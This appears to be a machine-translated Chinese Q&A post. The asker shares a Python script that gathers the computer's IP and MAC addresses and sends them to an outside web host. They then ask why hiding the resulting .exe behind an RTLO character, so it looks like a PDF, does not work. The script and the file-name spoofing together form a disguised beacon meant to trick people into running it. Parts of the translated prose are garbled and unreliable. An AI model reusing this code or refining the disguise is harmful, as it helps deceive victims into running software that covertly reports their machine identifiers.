windows文件名中的RTLO

2024-05-03 14:07:16 发布

您现在位置:Python中文网/ 问答频道 /正文

我用python编写了简单的脚本

#!/usr/bin/python
from uuid import getnode as get_mac
import socket
import requests
import datetime
#import tkMessageBox as messagebox
#import Tkinter as tk


def main():
    print('start')
    i = datetime.datetime.now()
    headers = {"Content-Type": "text/html; charset=UTF-8"}
    r = requests.post("http://michulabs.pl", data={'name' : 'CI17nH', 'ip' : getIp(), 'mac' : getMac(), 'source' : 'so', 'join_date' : i})
    print(r.status_code, r.reason)
    print(r.text)  # TEXT/HTML
    print(r.status_code, r.reason)  # HTTP

"""
method to read ip from computer
it will be saved in database
"""
def getIp():
    ip = socket.gethostbyname(socket.gethostname())
    print 'ip: ' + str(ip)
    return ip

"""
method to read mac from computer
it will be saved in database
"""
def getMac():
  mac = get_mac()
  print 'mac: ' + str(mac)
  return mac

if __name__ == "__main__":
  main()

然后由py2exe生成.exe文件,并尝试在文件名中使用RTLO字符使脚本调用主运行中心.pdf而不是pdf.com网站. 实际上它很好用pdf.com网站但在使用RTLO字符后就没有了。是Windows在文件名中阻止了这个把戏,还是我做错了什么? PS Windows没有阻止这个技巧,因为它可以处理其他文件。在


Tags: textfromimportip脚本getdatetimepdf